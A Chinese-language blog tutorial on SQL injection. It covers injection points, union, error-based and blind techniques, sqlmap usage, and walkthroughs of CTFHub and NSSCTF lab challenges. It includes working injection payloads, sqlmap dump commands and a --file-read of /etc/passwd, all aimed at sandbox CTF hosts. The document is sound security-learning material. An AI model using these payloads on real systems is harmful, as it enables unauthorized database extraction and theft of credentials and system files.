SQL注入的学习

了解SQL注入

SQL注入就是指Web应用程序对用户输入数据的合理性没有进行判断,前端传入后端的参数是攻击者可控制的,并且根据参数带入数据库查询,攻击者可以通过构造不同的SQL语句来对数据库进行任意查询。

一 SQL注入的原理

在这里插入图片描述

1.SQL注入的本质

把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则

2.SQL注入的关键

1.用户能控制输入的内容;
2.web应用把用户输入的内容带入到数据库执行

完成普通SQL注入的条件
1、界面能够回显数据库查询到的数据(必要条件);
2、界面回显内容至少能够显示数据库中的某列数据(必要条件);
3、部分能够直接提供数据库报错内容的回显;

二 SQL注入的流程

1.判断注入点

在GET参数、POST参数、Cookie、Referer、XFF、UA等地方尝试插入代码、符号或语句,尝试是否存在数据库参数读取行为,以及能否对其参数产生影响,如产生影响则说明存在注入点。
常见的注入点类型:
1.get注入
在get传参时写入参数,将SQl语句闭合,后面加写入自己的SQL语句。
2.post注入
通过post传参,原理与get一样,重要的是判断我们所输入的信息是否与数据库产生交互,其次判断SQL语句是如何闭合的。
3.Referer注入
Referer正确写法应该是Referrer,因为http规定时写错只能将错就错,有些网站会记录ip和访问路径,例如百度就是通过Referer来统计网站流量,我们将访问路径进行SQL注入,同样也可以得到想要的信息。
4.XFF注入
在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9’ ,用户在注册的时候,如果存在安全隐患,会出现错误页面或者报错。从而导致注册或者登录用户失败。
例如:
用bp抓包后输入检测语句

X-Forwarded-for: 127.0.0.1'and 1=1#
X-Forwarded-for: 127.0.0.1'and 1=2#

2.判断数据库类型

判断网站使用的是哪个数据库,常见数据库如:
MySQL、MSSQL(SQLserver)、Oracle、Access、PostgreSQL、db2
而在CTF比赛中一般遇到的都是php的网站类型,其通常采用的数据库类型为Mysql,PostgreSql

3.判断参数数据类型

通过+1、-1、and 1=1、and 1=2、注释符。与其各种变种如与各种符号结合的and 1=1、and ‘1’=‘1等等判断参数数据类型。先判断是否是整型,如果不是整型则为字符型,字符型存在多种情况,需要使用单引号【’】、双引号【“】、括号【()】多种组合方式进行试探。
例如:
(1)id=1 and 1=1回显正常 id=1 and1=2回显错误(判断为整型)
原因:and 1=1或者and 1=2 写入了sql语句并且执行成功 因为1=2是错误所以id=1 and 1=2回显是错误的
(2)id=1 and 1=1和id=1 and 1=2回显正常(判断为字符型)
id=1’ and ‘1’=‘1回显正确id=1’ and ‘1’=‘2回显错误(判断为【’】闭合)
id=1” and “1”=“1 回显正常 id=1” and “1”=“2回显错误(判断为【”】闭合)

4.判断过滤情况

正常输入sql语句通过查看回显来判断语句是否被过滤
判断列数
如果order by被过滤则尝试绕过,如果无法绕过就无法得到列数,这时就无法使用联合查询注入。
判断显示位
如果页面没有显示位,同样无法使用联合查询注入。
报错信息
如果没有报错信息返回,则无法使用报错注入。
绕过的方式与其他绕过比较相似,例如用/,\分割关键词,双写绕过以及编码绕过

5.选择注入方式

一般流程:
判断sql查询字段数
爆库名
爆表名
爆字段名
爆数据

(1)union联合查询注入

前提:知道列数且页面上有显示位。
目的:判断显示位、获取所有数据库名、获取指定数据库所有表名、获取指定数据库指定表中所有字段名、获取具体数据。
步骤:
1.判断注入点
(1)寻找可能存在注入漏洞的参数,如用户登录名、密码、搜索框等。
(2)在参数值后添加特殊字符,如单引号(')、双引号(")、括号()等,观察应用程序的返回结果。如果应用程序返回错误信息,说明该参数可能存在注入漏洞。

2.确定字段数
使用语句order by来确定查询语句的字段数。例如输入:

order by 1--

如果页面正常回显,说明查询语句中至少有一个字段;继续增加order by后面的数字,直到页面返回错误信息,此时的数字减 1 即为字段数。

3.爆数据库信息
使用union select语句来联合查询其他表的数据。例如:
假设已经确定字段数为 3,输入union select 1,2,3--,观察页面返回结果,确定哪些字段可以显示数据。

4.爆表名和列名
使用information_schema数据库中的tables表和columns表来获取目标数据库中的表名和列名。例如:
输入union select 1,table_name,3 from information_schema.tables where table_schema=database()--,可以获取当前数据库中的所有表名;再通过类似的方式获取指定表中的列名。
5.爆数据
根据获取到的表名和列名,构造union select语句来获取敏感数据。例如:
输入union select 1,username,password from users--,可以获取users表中的用户名和密码字段的值。

(2)报错注入

前提:页面会显示数据库报错信息。
目的:得到报错信息、获取所有数据库名、获取指定数据库所有表名、获取指定数据库指定表中所有字段名、获取具体数据。
报错注入有很多种注入法,但常用是这两种注入
1.Updatexml报错注入
update函数如下

updatexml(XML_document,XPath_string,new_value) 

包含3个参数
第一个参数: XML_document是string格式,为XML文档对象的名称
第二个参数: XPath string是路径,XPath格式的字符串
第三个参数: new_value,string格式,替换查找到的符合条件的数据
报错原理:

参数2 的路径必须符合 XML 的 Xpath 语法,否则就会报错,提示你语法错误,并且把报错位置的内容显示出来。
比如我给参数2一个特殊符号~,它就会把这个特殊符号显示出来。

如果函数里还有函数,他就会先执行里面的那个函数,类似小学数学里提到的"先算括号内,再算括号外",利用这个特性,我们在updatexml()里插入别的函数。

select updatexml(1,concat('~',database()),3);

在这个函数中,会先执行database(),查看使用的数据库,假设为A,再执行concat()拼接为~A

select updatexml(1,concat('~',A),3);

最后执行外层updatexml(),参数2为~A不符合Xpath语法,发生语法报错,会将库顺便爆出来,表名列名同理

2.extractvalue报错注入
原理与updatexml报错注入相似但有不同

EXTRACTVALUE (XML_document, XPath_string);

这是一个extractvalue函数
第一个参数:XML_document是String格式,为XML文档对象的名称。
 第二个参数:XPath_string (Xpath格式的字符串)
 报错原理同样是利用语法报错返回报错信息,但是extractvalue函数对查询参数的格式特别敏感,只要把符号写错就可以报错

(3)布尔盲注

情况:没有显示位、没有报错信息,但是有SQL语句执行错误信息输出的场景,仅仅通过报错这一行为去判断SQL注入语句是否执行成功。
这种注入方式相当于在进行上面的注入的时候并没有回显直接信息,需要自己去猜,比较费时间,建议使用sqlmap工具进行操作

(4)时间盲注

前提:页面上没有显示位,也没有输出SQL语句执行错误信息。 正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)函数之后,页面的返回速度明显慢了5秒。
比布尔盲注更费时间,因为要通过sleep()函数影响的响应时间来判断语句是否执行,所以比布尔盲注更慢,建议使用sqlmap

三 sqlmap工具的使用

1.介绍

sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。
可以简单理解为自动注入工具

2.安装与使用

(1)安装

官网下载地址:https://github.com/sqlmapproject/sqlmap
也可以通过指令安装

sudo apt-get install sqlmap
(2)使用
sqlmap -u URL/id=1

(1)对指定的URL进行扫描探测是否有注入点,加上–batch可以自动执行系统默认操作

sqlmap -u URL/index.php?id=1 --batch

(2)用这段指令可以列出注入点位置

sqlmap -u URL/index.php?id=1 --batch --dbs

(3)获取数据库信息

sqlmap -u URL/index.php?id=1 --batch -D dbname --tables

其中,“-D dbname”表示指定数据库名称,“–tables”表示列出所有可用的表名
(4)获取表信息

sqlmap -u URL/index.php?id=1 --batch -D dbname -T tablename --columns

其中,“-T tablename”表示指定表名,“–columns”表示列出所有可用的列名。
(5)获取列信息

sqlmap -u URL/index.php?id=1 --batch -D dbname -T tablename -C columnname --dump

其中,“-C columnname”表示指定列名,“–dump”表示将结果输出到文件中。

(3)高级使用

(1)POST请求注入

sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=123456" --batch

其中,“–data”表示要发送的POST数据。

(2)Cookie注入
如果目标网站使用Cookie来维护会话状态,则可以使用以下命令进行注入攻击:

sqlmap -u "http://www.example.com/index.php" --cookie="PHPSESSID=123456" --batch

其中,“–cookie”表示要使用的Cookie。

(3)文件读取
如果目标网站允许访问文件系统,则可以使用以下命令读取指定文件:

sqlmap -u "http://www.example.com/index.php?id=1" --file-read="/etc/passwd" --batch

其中,“–file-read”表示要读取的文件名。

ctfhub例题实操

1.整数型注入

输入一个1
在这里插入图片描述再判断注入方式在这里插入图片描述
在这里插入图片描述

/?id=1 and 1=1    回显正常
/?id=1 and 1=2    无回显

说明是整数型注入,接下来猜字段数

order by X

一直尝试,直到3的时候没有回显,说明字段数为2
在这里插入图片描述
爆库名

/?id=1 and 1=2 union select 1,database()

在这里插入图片描述说明是sqli库
爆表名

/?id=1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

在这里插入图片描述得到列名flag,news
爆列名

?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'

在这里插入图片描述最后爆字段内容

?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag 

在这里插入图片描述
也可以用sqlmap工具
爆表名

sqlmap -u http://challenge-add6ddcbca3244ef.sandbox.ctfhub.com:10800/?id=1 --tables --batch

在这里插入图片描述

爆列名

sqlmap -u http://challenge-add6ddcbca3244ef.sandbox.ctfhub.com:10800/?id=1/?id=1 -T flag --columns --batch

在这里插入图片描述
爆字段内容

sqlmap -u http://challenge-add6ddcbca3244ef.sandbox.ctfhub.com:10800/?id=1/?id=1 -T flag -C flag --dump --batch

在这里插入图片描述

2.字符型注入

手工方法:
判断类型

/?id=1' and 1=1 --+ 返回正确
/?id=1' and 1=2 --+ 返回错误 

在这里插入图片描述
没有回显
在这里插入图片描述说明是字符型注入
猜字段

/?id=1' order by 2 --+

在这里插入图片描述

/?id=1' order by 3 --+ 

在这里插入图片描述说明字段数为2
爆数据库

/?id=1' and 1=2 union select 1,database()--+

在这里插入图片描述说明数据库是sqli
爆表名

/?id=1' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'--+

在这里插入图片描述表名是news,flag
爆列名

/?id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'--+ 

在这里插入图片描述
爆字段内容

/?id=1' and 1=2 union select 1,group_concat(flag) from sqli.flag--+ 

在这里插入图片描述
sqlmap做法:
爆表名

sqlmap -u http://challenge-a49effb9b5c4f6ad.sandbox.ctfhub.com:10800/?id=1 -tables --batch

在这里插入图片描述
爆列名

sqlmap -u http://challenge-a49effb9b5c4f6ad.sandbox.ctfhub.com:10800/?id=1 -T flag --columns --dump --batch

在这里插入图片描述

爆字段内容

sqlmap -u http://challenge-a49effb9b5c4f6ad.sandbox.ctfhub.com:10800/?id=1 -T flag -C flag --dump --batch

3.报错注入

CTFhub没金币了,换成nssctf里的一道报错注入题目,这道题的参数是wllm
爆表名

sqlmap -u http://node4.anna.nssctf.cn:28370/?wllm=1 -tables  --batch --random-agent

在这里插入图片描述
爆列名

sqlmap -u http://node4.anna.nssctf.cn:28370/?wllm=1 -T test_tb --columns --batch --random-agent

在这里插入图片描述
爆字段内容

sqlmap -u http://node4.anna.nssctf.cn:28370/?wllm=1 -T test_tb -C flag --dump --batch -random-agent

在这里插入图片描述

4.布尔盲注

用sqlmap完成
查数据库

sqlmap -u http://challenge-903566bf5834a86e.sandbox.ctfhub.com:10800/?id=1 --dbs --batch

在这里插入图片描述

查表名

sqlmap -u http://challenge-903566bf5834a86e.sandbox.ctfhub.com:10800/?id=1 -D sqli -tables -random-agent -batch

在这里插入图片描述
爆字符内容

sqlmap -u http://challenge-903566bf5834a86e.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -columns --dump --batch

在这里插入图片描述

在这里插入图片描述

5.时间盲注

这题由于手工注工程量太大,就用sqlmap来注了
查数据库

sqlmap -u http://challenge-aa481e81c0f885c3.sandbox.ctfhub.com:10800/?id=1 -dbs --batch -random-agent

在这里插入图片描述

查表名

sqlmap -u  http://challenge-aa481e81c0f885c3.sandbox.ctfhub.com:10800/?id=1 -D sqli -tables --batch

在这里插入图片描述
查字段名

sqlmap -u  http://challenge-aa481e81c0f885c3.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns --dump --batch

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值